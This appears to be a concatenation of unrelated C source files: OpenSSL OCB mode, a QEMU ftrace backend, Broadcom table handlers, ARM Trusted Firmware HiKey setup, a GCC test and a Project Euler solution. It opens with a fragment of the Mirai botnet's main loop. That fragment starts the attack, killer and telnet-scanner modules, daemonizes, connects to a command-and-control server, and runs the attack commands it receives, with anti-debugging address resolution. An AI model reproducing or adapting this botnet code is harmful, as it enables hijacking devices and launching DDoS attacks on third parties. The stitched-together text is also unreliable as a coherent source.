tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len); write(STDOUT, tbl_exec_succ, tbl_exec_succ_len); write(STDOUT, "\n", 1); table_lock_val(TABLE_EXEC_SUCCESS); attack_init(); killer_init(); #ifdef MIRAI_TELNET scanner_init(); #endif #ifndef DEBUG if (fork() > 0) return 0; pgid = setsid(); close(STDIN); close(STDOUT); close(STDERR); #endif while (TRUE) { fd_set fdsetrd, fdsetwr, fdsetex; struct timeval timeo; int mfd, nfds; FD_ZERO(&fdsetrd); FD_ZERO(&fdsetwr); // Socket for accept() if (fd_ctrl != -1) FD_SET(fd_ctrl, &fdsetrd); // Set up CNC sockets if (fd_serv == -1) establish_connection(); if (pending_connection) FD_SET(fd_serv, &fdsetwr); else FD_SET(fd_serv, &fdsetrd); // Get maximum FD for select if (fd_ctrl > fd_serv) mfd = fd_ctrl; else mfd = fd_serv; // Wait 10s in call to select() timeo.tv_usec = 0; timeo.tv_sec = 10; nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo); if (nfds == -1) { // Check if we need to kill ourselves if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd)) { struct sockaddr_in cli_addr; socklen_t cli_addr_len = sizeof (cli_addr); accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len); #ifdef DEBUG printf("[main] Detected newer instance running! Killing self\n"); #endif #ifdef MIRAI_TELNET scanner_kill(); #endif killer_kill(); attack_kill_all(); kill(pgid * -1, 9); exit(0); } #ifdef DEBUG printf("select() errno = %d\n", errno); #endif continue; } else if (nfds == 0) { uint16_t len = 0; if (pings++ % 6 == 0) send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); } if(pending_connection) { pending_connection = FALSE; if(!FD_ISSET(fd_serv, &fdsetwr)) { #ifdef DEBUG printf("[main] timed out while connecting to CNC\n"); #endif teardown_connection(); } else { int err = 0; socklen_t err_len = sizeof(err); getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len); if(err != 0) { #ifdef DEBUG printf("[main] error while connecting to CNC code=%d\n", err); #endif close(fd_serv); fd_serv = -1; sleep((rand_next() % 10) + 1); } else { uint8_t id_len = util_strlen(id_buf); LOCAL_ADDR = util_local_addr(); send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL); send(fd_serv, &id_len, sizeof(id_len), MSG_NOSIGNAL); if(id_len > 0) { send(fd_serv, id_buf, id_len, MSG_NOSIGNAL); } #ifdef DEBUG printf("[main] connected to CNC.\n"); #endif } } } else if(fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd)) { int n = 0; uint16_t len = 0; char rdbuf[1024]; errno = 0; n = recv(fd_serv, &len, sizeof(len), MSG_NOSIGNAL | MSG_PEEK); if(n == -1) { if(errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) continue; else n = 0; } if(n == 0) { #ifdef DEBUG printf("[main] lost connection with CNC (errno = %d) 1\n", errno); #endif teardown_connection(); continue; } if(len == 0) { recv(fd_serv, &len, sizeof(len), MSG_NOSIGNAL); continue; } len = ntohs(len); if(len > sizeof(rdbuf)) { close(fd_serv); fd_serv = -1; continue; } errno = 0; n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK); if(n == -1) { if(errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR) continue; else n = 0; } if(n == 0) { #ifdef DEBUG printf("[main] lost connection with CNC (errno = %d) 2\n", errno); #endif teardown_connection(); continue; } recv(fd_serv, &len, sizeof(len), MSG_NOSIGNAL); len = ntohs(len); recv(fd_serv, rdbuf, len, MSG_NOSIGNAL); #ifdef DEBUG printf("[main] received %d bytes from CNC\n", len); #endif if(len > 0) attack_parse(rdbuf, len); } } return 0; } static void anti_gdb_entry(int sig) { resolve_func = resolve_cnc_addr; } static void resolve_cnc_addr(void) { #ifndef USEDOMAIN table_unlock_val(TABLE_CNC_PORT); srv_addr.sin_addr.s_addr = SERVIP; srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL)); table_lock_val(TABLE_CNC_PORT); #else struct resolv_entries *entries; entries = resolv_lookup(SERVDOM); if (entries == NULL) { srv_addr.sin_addr.s_addr = SERVIP; return; } else { srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len]; } resolv_entries_free(entries); table_unlock_val(TABLE_CNC_PORT); srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL)); table_lock_val(TABLE_CNC_PORT); #endif } static void establish_connection(void) { #ifdef DEBUG printf("[main] attempting to connect to CNC\n"); #endif if((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { #ifdef DEBUG printf("[main] failed to call socket(). Errno = %d\n", errno); #endif return; } fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0)); if(resolve_func != NULL) resolve_func(); pending_connection = TRUE; connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof(struct sockaddr_in)); } static void teardown_connection(void) { #ifdef DEBUG printf("[main] tearing down connection to CNC!\n"); #endif if(fd_serv != -1) close(fd_serv); fd_serv = -1; sleep(1); } static void ensure_single_instance(void) { static BOOL local_bind = TRUE; struct sockaddr_in addr; int opt = 1; if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1) return; setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int)); fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR; addr.sin_port = htons(SINGLE_INSTANCE_PORT); // Try to bind to the control port errno = 0; if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) { if (errno == EADDRNOTAVAIL && local_bind) local_bind = FALSE; #ifdef DEBUG printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno); #endif // Reset addr just in case addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(SINGLE_INSTANCE_PORT); if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) { #ifdef DEBUG printf("[main] Failed to connect to fd_ctrl to request process termination\n"); #endif } sleep(5); close(fd_ctrl); killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); ensure_single_instance(); // Call again, so that we are now the control } else { if (listen(fd_ctrl, 1) == -1) { #ifdef DEBUG printf("[main] Failed to call listen() on fd_ctrl\n"); close(fd_ctrl); sleep(5); killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); ensure_single_instance(); #endif } #ifdef DEBUG printf("[main] We are the only process on this system!\n"); #endif } }
100771.c
/******************************************************************************* * * DO NOT EDIT THIS FILE! * This file is auto-generated by fltg from Logical Table mapping files. * * Tool: $SDK/INTERNAL/fltg/bin/fltg * * Edits to this file will be lost when it is regenerated. * * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. * * Copyright 2007-2020 Broadcom Inc. All rights reserved. */ /* Logical Table Adaptor for component bcmimm */ /* Handler: bcm56780_a0_dna_2_4_13_lta_bcmimm_table_hash_store_info_cth_handler */ #include <bcmltd/chip/bcmltd_id.h> #include <bcmimm/bcmimm_basic.h> static const bcmltd_table_ha_handler_t bcmimm_basic_ha_handler = { .commit = bcmimm_basic_commit, .abort = bcmimm_basic_abort }; const bcmltd_generic_arg_t bcm56780_a0_dna_2_4_13_lta_bcmimm_table_hash_store_info_cth_handler_arg = { .sid = TABLE_HASH_STORE_INFOt, .values = 0, .value = NULL, .user_data = NULL }; static const bcmltd_table_entry_limit_handler_t bcmimm_basic_table_entry_limit_handler = { .entry_limit_get = bcmimm_basic_table_entry_limit_get, .arg = &bcm56780_a0_dna_2_4_13_lta_bcmimm_table_hash_store_info_cth_handler_arg }; static const bcmltd_table_entry_usage_handler_t bcmimm_basic_table_entry_usage_handler = { .entry_inuse_get = bcmimm_basic_table_entry_inuse_get, .max_entries_set = bcmimm_basic_table_max_entries_set, .arg = &bcm56780_a0_dna_2_4_13_lta_bcmimm_table_hash_store_info_cth_handler_arg }; const bcmltd_table_handler_t bcm56780_a0_dna_2_4_13_lta_bcmimm_table_hash_store_info_cth_handler = { .validate = bcmimm_basic_validate, .op_insert = bcmimm_basic_insert, .op_lookup = bcmimm_basic_lookup, .op_delete = bcmimm_basic_delete, .op_update = bcmimm_basic_update, .op_first = bcmimm_basic_first, .op_next = bcmimm_basic_next, .ha = &bcmimm_basic_ha_handler, .entry_limit = &bcmimm_basic_table_entry_limit_handler, .entry_usage = &bcmimm_basic_table_entry_usage_handler, .arg = &bcm56780_a0_dna_2_4_13_lta_bcmimm_table_hash_store_info_cth_handler_arg };
127037.c
/* * Copyright 2014-2018 The OpenSSL Project Authors. All Rights Reserved. * * Licensed under the OpenSSL license (the "License"). You may not use * this file except in compliance with the License. You can obtain a copy * in the file LICENSE in the source distribution or at * https://www.openssl.org/source/license.html */ #include <string.h> #include <openssl/crypto.h> #include "modes_lcl.h" #ifndef OPENSSL_NO_OCB /* * Calculate the number of binary trailing zero's in any given number */ static u32 ocb_ntz(u64 n) { u32 cnt = 0; /* * We do a right-to-left simple sequential search. This is surprisingly * efficient as the distribution of trailing zeros is not uniform, * e.g. the number of possible inputs with no trailing zeros is equal to * the number with 1 or more; the number with exactly 1 is equal to the * number with 2 or more, etc. Checking the last two bits covers 75% of * all numbers. Checking the last three covers 87.5% */ while (!(n & 1)) { n >>= 1; cnt++; } return cnt; } /* * Shift a block of 16 bytes left by shift bits */ static void ocb_block_lshift(const unsigned char *in, size_t shift, unsigned char *out) { unsigned char shift_mask; int i; unsigned char mask[15]; shift_mask = 0xff; shift_mask <<= (8 - shift); for (i = 15; i >= 0; i--) { if (i > 0) { mask[i - 1] = in[i] & shift_mask; mask[i - 1] >>= 8 - shift; } out[i] = in[i] << shift; if (i != 15) { out[i] ^= mask[i]; } } } /* * Perform a "double" operation as per OCB spec */ static void ocb_double(OCB_BLOCK *in, OCB_BLOCK *out) { unsigned char mask; /* * Calculate the mask based on the most significant bit. There are more * efficient ways to do this - but this way is constant time */ mask = in->c[0] & 0x80; mask >>= 7; mask *= 135; ocb_block_lshift(in->c, 1, out->c); out->c[15] ^= mask; } /* * Perform an xor on in1 and in2 - each of len bytes. Store result in out */ static void ocb_block_xor(const unsigned char *in1, const unsigned char *in2, size_t len, unsigned char *out) { size_t i; for (i = 0; i < len; i++) { out[i] = in1[i] ^ in2[i]; } } /* * Lookup L_index in our lookup table. If we haven't already got it we need to * calculate it */ static OCB_BLOCK *ocb_lookup_l(OCB128_CONTEXT *ctx, size_t idx) { size_t l_index = ctx->l_index; if (idx <= l_index) { return ctx->l + idx; } /* We don't have it - so calculate it */ if (idx >= ctx->max_l_index) { void *tmp_ptr; /* * Each additional entry allows to process almost double as * much data, so that in linear world the table will need to * be expanded with smaller and smaller increments. Originally * it was doubling in size, which was a waste. Growing it * linearly is not formally optimal, but is simpler to implement. * We grow table by minimally required 4*n that would accommodate * the index. */ ctx->max_l_index += (idx - ctx->max_l_index + 4) & ~3; tmp_ptr = OPENSSL_realloc(ctx->l, ctx->max_l_index * sizeof(OCB_BLOCK)); if (tmp_ptr == NULL) /* prevent ctx->l from being clobbered */ return NULL; ctx->l = tmp_ptr; } while (l_index < idx) { ocb_double(ctx->l + l_index, ctx->l + l_index + 1); l_index++; } ctx->l_index = l_index; return ctx->l + idx; } /* * Create a new OCB128_CONTEXT */ OCB128_CONTEXT *CRYPTO_ocb128_new(void *keyenc, void *keydec, block128_f encrypt, block128_f decrypt, ocb128_f stream) { OCB128_CONTEXT *octx; int ret; if ((octx = OPENSSL_malloc(sizeof(*octx))) != NULL) { ret = CRYPTO_ocb128_init(octx, keyenc, keydec, encrypt, decrypt, stream); if (ret) return octx; OPENSSL_free(octx); } return NULL; } /* * Initialise an existing OCB128_CONTEXT */ int CRYPTO_ocb128_init(OCB128_CONTEXT *ctx, void *keyenc, void *keydec, block128_f encrypt, block128_f decrypt, ocb128_f stream) { memset(ctx, 0, sizeof(*ctx)); ctx->l_index = 0; ctx->max_l_index = 5; ctx->l = OPENSSL_malloc(ctx->max_l_index * 16); if (ctx->l == NULL) return 0; /* * We set both the encryption and decryption key schedules - decryption * needs both. Don't really need decryption schedule if only doing * encryption - but it simplifies things to take it anyway */ ctx->encrypt = encrypt; ctx->decrypt = decrypt; ctx->stream = stream; ctx->keyenc = keyenc; ctx->keydec = keydec; /* L_* = ENCIPHER(K, zeros(128)) */ ctx->encrypt(ctx->l_star.c, ctx->l_star.c, ctx->keyenc); /* L_$ = double(L_*) */ ocb_double(&ctx->l_star, &ctx->l_dollar); /* L_0 = double(L_$) */ ocb_double(&ctx->l_dollar, ctx->l); /* L_{i} = double(L_{i-1}) */ ocb_double(ctx->l, ctx->l+1); ocb_double(ctx->l+1, ctx->l+2); ocb_double(ctx->l+2, ctx->l+3); ocb_double(ctx->l+3, ctx->l+4); ctx->l_index = 4; /* enough to process up to 496 bytes */ return 1; } /* * Copy an OCB128_CONTEXT object */ int CRYPTO_ocb128_copy_ctx(OCB128_CONTEXT *dest, OCB128_CONTEXT *src, void *keyenc, void *keydec) { memcpy(dest, src, sizeof(OCB128_CONTEXT)); if (keyenc) dest->keyenc = keyenc; if (keydec) dest->keydec = keydec; if (src->l) { dest->l = OPENSSL_malloc(src->max_l_index * 16); if (dest->l == NULL) return 0; memcpy(dest->l, src->l, (src->l_index + 1) * 16); } return 1; } /* * Set the IV to be used for this operation. Must be 1 - 15 bytes. */ int CRYPTO_ocb128_setiv(OCB128_CONTEXT *ctx, const unsigned char *iv, size_t len, size_t taglen) { unsigned char ktop[16], tmp[16], mask; unsigned char stretch[24], nonce[16]; size_t bottom, shift; /* * Spec says IV is 120 bits or fewer - it allows non byte aligned lengths. * We don't support this at this stage */ if ((len > 15) || (len < 1) || (taglen > 16) || (taglen < 1)) { return -1; } /* Reset nonce-dependent variables */ memset(&ctx->sess, 0, sizeof(ctx->sess)); /* Nonce = num2str(TAGLEN mod 128,7) || zeros(120-bitlen(N)) || 1 || N */ nonce[0] = ((taglen * 8) % 128) << 1; memset(nonce + 1, 0, 15); memcpy(nonce + 16 - len, iv, len); nonce[15 - len] |= 1; /* Ktop = ENCIPHER(K, Nonce[1..122] || zeros(6)) */ memcpy(tmp, nonce, 16); tmp[15] &= 0xc0; ctx->encrypt(tmp, ktop, ctx->keyenc); /* Stretch = Ktop || (Ktop[1..64] xor Ktop[9..72]) */ memcpy(stretch, ktop, 16); ocb_block_xor(ktop, ktop + 1, 8, stretch + 16); /* bottom = str2num(Nonce[123..128]) */ bottom = nonce[15] & 0x3f; /* Offset_0 = Stretch[1+bottom..128+bottom] */ shift = bottom % 8; ocb_block_lshift(stretch + (bottom / 8), shift, ctx->sess.offset.c); mask = 0xff; mask <<= 8 - shift; ctx->sess.offset.c[15] |= (*(stretch + (bottom / 8) + 16) & mask) >> (8 - shift); return 1; } /* * Provide any AAD. This can be called multiple times. Only the final time can * have a partial block */ int CRYPTO_ocb128_aad(OCB128_CONTEXT *ctx, const unsigned char *aad, size_t len) { u64 i, all_num_blocks; size_t num_blocks, last_len; OCB_BLOCK tmp; /* Calculate the number of blocks of AAD provided now, and so far */ num_blocks = len / 16; all_num_blocks = num_blocks + ctx->sess.blocks_hashed; /* Loop through all full blocks of AAD */ for (i = ctx->sess.blocks_hashed + 1; i <= all_num_blocks; i++) { OCB_BLOCK *lookup; /* Offset_i = Offset_{i-1} xor L_{ntz(i)} */ lookup = ocb_lookup_l(ctx, ocb_ntz(i)); if (lookup == NULL) return 0; ocb_block16_xor(&ctx->sess.offset_aad, lookup, &ctx->sess.offset_aad); memcpy(tmp.c, aad, 16); aad += 16; /* Sum_i = Sum_{i-1} xor ENCIPHER(K, A_i xor Offset_i) */ ocb_block16_xor(&ctx->sess.offset_aad, &tmp, &tmp); ctx->encrypt(tmp.c, tmp.c, ctx->keyenc); ocb_block16_xor(&tmp, &ctx->sess.sum, &ctx->sess.sum); } /* * Check if we have any partial blocks left over. This is only valid in the * last call to this function */ last_len = len % 16; if (last_len > 0) { /* Offset_* = Offset_m xor L_* */ ocb_block16_xor(&ctx->sess.offset_aad, &ctx->l_star, &ctx->sess.offset_aad); /* CipherInput = (A_* || 1 || zeros(127-bitlen(A_*))) xor Offset_* */ memset(tmp.c, 0, 16); memcpy(tmp.c, aad, last_len); tmp.c[last_len] = 0x80; ocb_block16_xor(&ctx->sess.offset_aad, &tmp, &tmp); /* Sum = Sum_m xor ENCIPHER(K, CipherInput) */ ctx->encrypt(tmp.c, tmp.c, ctx->keyenc); ocb_block16_xor(&tmp, &ctx->sess.sum, &ctx->sess.sum); } ctx->sess.blocks_hashed = all_num_blocks; return 1; } /* * Provide any data to be encrypted. This can be called multiple times. Only * the final time can have a partial block */ int CRYPTO_ocb128_encrypt(OCB128_CONTEXT *ctx, const unsigned char *in, unsigned char *out, size_t len) { u64 i, all_num_blocks; size_t num_blocks, last_len; /* * Calculate the number of blocks of data to be encrypted provided now, and * so far */ num_blocks = len / 16; all_num_blocks = num_blocks + ctx->sess.blocks_processed; if (num_blocks && all_num_blocks == (size_t)all_num_blocks && ctx->stream != NULL) { size_t max_idx = 0, top = (size_t)all_num_blocks; /* * See how many L_{i} entries we need to process data at hand * and pre-compute missing entries in the table [if any]... */ while (top >>= 1) max_idx++; if (ocb_lookup_l(ctx, max_idx) == NULL) return 0; ctx->stream(in, out, num_blocks, ctx->keyenc, (size_t)ctx->sess.blocks_processed + 1, ctx->sess.offset.c, (const unsigned char (*)[16])ctx->l, ctx->sess.checksum.c); } else { /* Loop through all full blocks to be encrypted */ for (i = ctx->sess.blocks_processed + 1; i <= all_num_blocks; i++) { OCB_BLOCK *lookup; OCB_BLOCK tmp; /* Offset_i = Offset_{i-1} xor L_{ntz(i)} */ lookup = ocb_lookup_l(ctx, ocb_ntz(i)); if (lookup == NULL) return 0; ocb_block16_xor(&ctx->sess.offset, lookup, &ctx->sess.offset); memcpy(tmp.c, in, 16); in += 16; /* Checksum_i = Checksum_{i-1} xor P_i */ ocb_block16_xor(&tmp, &ctx->sess.checksum, &ctx->sess.checksum); /* C_i = Offset_i xor ENCIPHER(K, P_i xor Offset_i) */ ocb_block16_xor(&ctx->sess.offset, &tmp, &tmp); ctx->encrypt(tmp.c, tmp.c, ctx->keyenc); ocb_block16_xor(&ctx->sess.offset, &tmp, &tmp); memcpy(out, tmp.c, 16); out += 16; } } /* * Check if we have any partial blocks left over. This is only valid in the * last call to this function */ last_len = len % 16; if (last_len > 0) { OCB_BLOCK pad; /* Offset_* = Offset_m xor L_* */ ocb_block16_xor(&ctx->sess.offset, &ctx->l_star, &ctx->sess.offset); /* Pad = ENCIPHER(K, Offset_*) */ ctx->encrypt(ctx->sess.offset.c, pad.c, ctx->keyenc); /* C_* = P_* xor Pad[1..bitlen(P_*)] */ ocb_block_xor(in, pad.c, last_len, out); /* Checksum_* = Checksum_m xor (P_* || 1 || zeros(127-bitlen(P_*))) */ memset(pad.c, 0, 16); /* borrow pad */ memcpy(pad.c, in, last_len); pad.c[last_len] = 0x80; ocb_block16_xor(&pad, &ctx->sess.checksum, &ctx->sess.checksum); } ctx->sess.blocks_processed = all_num_blocks; return 1; } /* * Provide any data to be decrypted. This can be called multiple times. Only * the final time can have a partial block */ int CRYPTO_ocb128_decrypt(OCB128_CONTEXT *ctx, const unsigned char *in, unsigned char *out, size_t len) { u64 i, all_num_blocks; size_t num_blocks, last_len; /* * Calculate the number of blocks of data to be decrypted provided now, and * so far */ num_blocks = len / 16; all_num_blocks = num_blocks + ctx->sess.blocks_processed; if (num_blocks && all_num_blocks == (size_t)all_num_blocks && ctx->stream != NULL) { size_t max_idx = 0, top = (size_t)all_num_blocks; /* * See how many L_{i} entries we need to process data at hand * and pre-compute missing entries in the table [if any]... */ while (top >>= 1) max_idx++; if (ocb_lookup_l(ctx, max_idx) == NULL) return 0; ctx->stream(in, out, num_blocks, ctx->keydec, (size_t)ctx->sess.blocks_processed + 1, ctx->sess.offset.c, (const unsigned char (*)[16])ctx->l, ctx->sess.checksum.c); } else { OCB_BLOCK tmp; /* Loop through all full blocks to be decrypted */ for (i = ctx->sess.blocks_processed + 1; i <= all_num_blocks; i++) { /* Offset_i = Offset_{i-1} xor L_{ntz(i)} */ OCB_BLOCK *lookup = ocb_lookup_l(ctx, ocb_ntz(i)); if (lookup == NULL) return 0; ocb_block16_xor(&ctx->sess.offset, lookup, &ctx->sess.offset); memcpy(tmp.c, in, 16); in += 16; /* P_i = Offset_i xor DECIPHER(K, C_i xor Offset_i) */ ocb_block16_xor(&ctx->sess.offset, &tmp, &tmp); ctx->decrypt(tmp.c, tmp.c, ctx->keydec); ocb_block16_xor(&ctx->sess.offset, &tmp, &tmp); /* Checksum_i = Checksum_{i-1} xor P_i */ ocb_block16_xor(&tmp, &ctx->sess.checksum, &ctx->sess.checksum); memcpy(out, tmp.c, 16); out += 16; } } /* * Check if we have any partial blocks left over. This is only valid in the * last call to this function */ last_len = len % 16; if (last_len > 0) { OCB_BLOCK pad; /* Offset_* = Offset_m xor L_* */ ocb_block16_xor(&ctx->sess.offset, &ctx->l_star, &ctx->sess.offset); /* Pad = ENCIPHER(K, Offset_*) */ ctx->encrypt(ctx->sess.offset.c, pad.c, ctx->keyenc); /* P_* = C_* xor Pad[1..bitlen(C_*)] */ ocb_block_xor(in, pad.c, last_len, out); /* Checksum_* = Checksum_m xor (P_* || 1 || zeros(127-bitlen(P_*))) */ memset(pad.c, 0, 16); /* borrow pad */ memcpy(pad.c, out, last_len); pad.c[last_len] = 0x80; ocb_block16_xor(&pad, &ctx->sess.checksum, &ctx->sess.checksum); } ctx->sess.blocks_processed = all_num_blocks; return 1; } static int ocb_finish(OCB128_CONTEXT *ctx, unsigned char *tag, size_t len, int write) { OCB_BLOCK tmp; if (len > 16 || len < 1) { return -1; } /* * Tag = ENCIPHER(K, Checksum_* xor Offset_* xor L_$) xor HASH(K,A) */ ocb_block16_xor(&ctx->sess.checksum, &ctx->sess.offset, &tmp); ocb_block16_xor(&ctx->l_dollar, &tmp, &tmp); ctx->encrypt(tmp.c, tmp.c, ctx->keyenc); ocb_block16_xor(&tmp, &ctx->sess.sum, &tmp); if (write) { memcpy(tag, &tmp, len); return 1; } else { return CRYPTO_memcmp(&tmp, tag, len); } } /* * Calculate the tag and verify it against the supplied tag */ int CRYPTO_ocb128_finish(OCB128_CONTEXT *ctx, const unsigned char *tag, size_t len) { return ocb_finish(ctx, (unsigned char*)tag, len, 0); } /* * Retrieve the calculated tag */ int CRYPTO_ocb128_tag(OCB128_CONTEXT *ctx, unsigned char *tag, size_t len) { return ocb_finish(ctx, tag, len, 1); } /* * Release all resources */ void CRYPTO_ocb128_cleanup(OCB128_CONTEXT *ctx) { if (ctx) { OPENSSL_clear_free(ctx->l, ctx->max_l_index * 16); OPENSSL_cleanse(ctx, sizeof(*ctx)); } } #endif /* OPENSSL_NO_OCB */
188875.c
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> /* Multiples of 3 and 5 Problem 1 If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23. Find the sum of all the multiples of 3 or 5 below 1000. */ long long calculate_sum(unsigned long limit) { unsigned long long sum = 0; unsigned long i = 0; while(i < limit) { if(i % 3 == 0 || i % 5 == 0) { sum += i; } i++; } return sum; } int main(int argc, char** argv) { unsigned long range0 = (argc > 1 ? strtoul(argv[1], 0, 10) : 1000); unsigned long range1 = (argc > 2 ? strtoul(argv[2], 0, 10) : 0); if(errno) { fprintf(stderr, strerror(errno)); return 1; } if(!range1) { printf("%lld\n", calculate_sum(range0)); } else { if(range1 <= range0) { fprintf(stderr, "Invalid range: (%ld - %ld)\n", range0, range1); return 1; } while(range0 <= range1) { printf("%lld # %ld\n", calculate_sum(range0), range0); range0++; } } return 0; }
721749.c
/* * Ftrace trace backend * * Copyright (C) 2013 Hitachi, Ltd. * Created by Eiichi Tsukata <[email protected]> * * This work is licensed under the terms of the GNU GPL, version 2. See * the COPYING file in the top-level directory. * */ #include "qemu/osdep.h" #include "trace/control.h" #include "trace/ftrace.h" int trace_marker_fd; static int find_mount(char *mount_point, const char *fstype) { char type[100]; FILE *fp; int ret = 0; fp = fopen("/proc/mounts", "r"); if (fp == NULL) { return 0; } while (fscanf(fp, "%*s %" STR(PATH_MAX) "s %99s %*s %*d %*d\n", mount_point, type) == 2) { if (strcmp(type, fstype) == 0) { ret = 1; break; } } fclose(fp); return ret; } bool ftrace_init(void) { char mount_point[PATH_MAX]; char path[PATH_MAX]; int tracefs_found; int trace_fd = -1; const char *subdir = ""; tracefs_found = find_mount(mount_point, "tracefs"); if (!tracefs_found) { tracefs_found = find_mount(mount_point, "debugfs"); subdir = "/tracing"; } if (tracefs_found) { if (snprintf(path, PATH_MAX, "%s%s/tracing_on", mount_point, subdir) >= sizeof(path)) { fprintf(stderr, "Using tracefs mountpoint would exceed PATH_MAX\n"); return false; } trace_fd = open(path, O_WRONLY); if (trace_fd < 0) { if (errno == EACCES) { trace_marker_fd = open("/dev/null", O_WRONLY); if (trace_marker_fd != -1) { return true; } } perror("Could not open ftrace 'tracing_on' file"); return false; } else { if (write(trace_fd, "1", 1) < 0) { perror("Could not write to 'tracing_on' file"); close(trace_fd); return false; } close(trace_fd); } if (snprintf(path, PATH_MAX, "%s%s/trace_marker", mount_point, subdir) >= sizeof(path)) { fprintf(stderr, "Using tracefs mountpoint would exceed PATH_MAX\n"); return false; } trace_marker_fd = open(path, O_WRONLY); if (trace_marker_fd < 0) { perror("Could not open ftrace 'trace_marker' file"); return false; } } else { fprintf(stderr, "tracefs is not mounted\n"); return false; } return true; }
249556.c
/* { dg-options "-w" } */ #ifndef SKIP_ATTRIBUTE #include "compat-common.h" #include "vector-defs.h" #include "vector-setup.h" SETUP (2, sf); SETUP (4, sf); SETUP (16, sf); SETUP (2, df); #endif void vector_2_x (void) { #ifndef SKIP_ATTRIBUTE DEBUG_INIT CHECK (2, sf); CHECK (4, sf); CHECK (16, sf); CHECK (2, df); DEBUG_FINI if (fails != 0) abort (); #endif }
816976.c
/* * Copyright (c) 2017-2021, ARM Limited and Contributors. All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ #include <assert.h> #include <errno.h> #include <string.h> #include <arch_helpers.h> #include <bl1/tbbr/tbbr_img_desc.h> #include <common/bl_common.h> #include <common/debug.h> #include <drivers/arm/pl011.h> #include <drivers/mmc.h> #include <drivers/synopsys/dw_mmc.h> #include <lib/mmio.h> #include <plat/common/platform.h> #include <hi6220.h> #include <hikey_def.h> #include <hikey_layout.h> #include "hikey_private.h" /* Data structure which holds the extents of the trusted RAM for BL1 */ static meminfo_t bl1_tzram_layout; static console_t console; static struct mmc_device_info mmc_info; enum { BOOT_NORMAL = 0, BOOT_USB_DOWNLOAD, BOOT_UART_DOWNLOAD, }; meminfo_t *bl1_plat_sec_mem_layout(void) { return &bl1_tzram_layout; } /* * Perform any BL1 specific platform actions. */ void bl1_early_platform_setup(void) { /* Initialize the console to provide early debug support */ console_pl011_register(CONSOLE_BASE, PL011_UART_CLK_IN_HZ, PL011_BAUDRATE, &console); /* Allow BL1 to see the whole Trusted RAM */ bl1_tzram_layout.total_base = BL1_RW_BASE; bl1_tzram_layout.total_size = BL1_RW_SIZE; INFO("BL1: 0x%lx - 0x%lx [size = %lu]\n", BL1_RAM_BASE, BL1_RAM_LIMIT, BL1_RAM_LIMIT - BL1_RAM_BASE); /* bl1_size */ } /* * Perform the very early platform specific architecture setup here. At the * moment this only does basic initialization. Later architectural setup * (bl1_arch_setup()) does not do anything platform specific. */ void bl1_plat_arch_setup(void) { hikey_init_mmu_el3(bl1_tzram_layout.total_base, bl1_tzram_layout.total_size, BL1_RO_BASE, BL1_RO_LIMIT, BL_COHERENT_RAM_BASE, BL_COHERENT_RAM_END); } /* * Function which will perform any remaining platform-specific setup that can * occur after the MMU and data cache have been enabled. */ void bl1_platform_setup(void) { dw_mmc_params_t params; assert((HIKEY_BL1_MMC_DESC_BASE >= SRAM_BASE) && ((SRAM_BASE + SRAM_SIZE) >= (HIKEY_BL1_MMC_DATA_BASE + HIKEY_BL1_MMC_DATA_SIZE))); hikey_sp804_init(); hikey_gpio_init(); hikey_pmussi_init(); hikey_hi6553_init(); hikey_rtc_init(); hikey_mmc_pll_init(); memset(&params, 0, sizeof(dw_mmc_params_t)); params.reg_base = DWMMC0_BASE; params.desc_base = HIKEY_BL1_MMC_DESC_BASE; params.desc_size = 1 << 20; params.clk_rate = 24 * 1000 * 1000; params.bus_width = MMC_BUS_WIDTH_8; params.flags = MMC_FLAG_CMD23; mmc_info.mmc_dev_type = MMC_IS_EMMC; dw_mmc_init(&params, &mmc_info); hikey_io_setup(); } /* * The following function checks if Firmware update is needed, * by checking if TOC in FIP image is valid or not. */ unsigned int bl1_plat_get_next_image_id(void) { int32_t boot_mode; unsigned int ret; boot_mode = mmio_read_32(ONCHIPROM_PARAM_BASE); switch (boot_mode) { case BOOT_USB_DOWNLOAD: case BOOT_UART_DOWNLOAD: ret = NS_BL1U_IMAGE_ID; break; default: WARN("Invalid boot mode is found:%d\n", boot_mode); panic(); } return ret; } image_desc_t *bl1_plat_get_image_desc(unsigned int image_id) { unsigned int index = 0; while (bl1_tbbr_image_descs[index].image_id != INVALID_IMAGE_ID) { if (bl1_tbbr_image_descs[index].image_id == image_id) return &bl1_tbbr_image_descs[index]; index++; } return NULL; } void 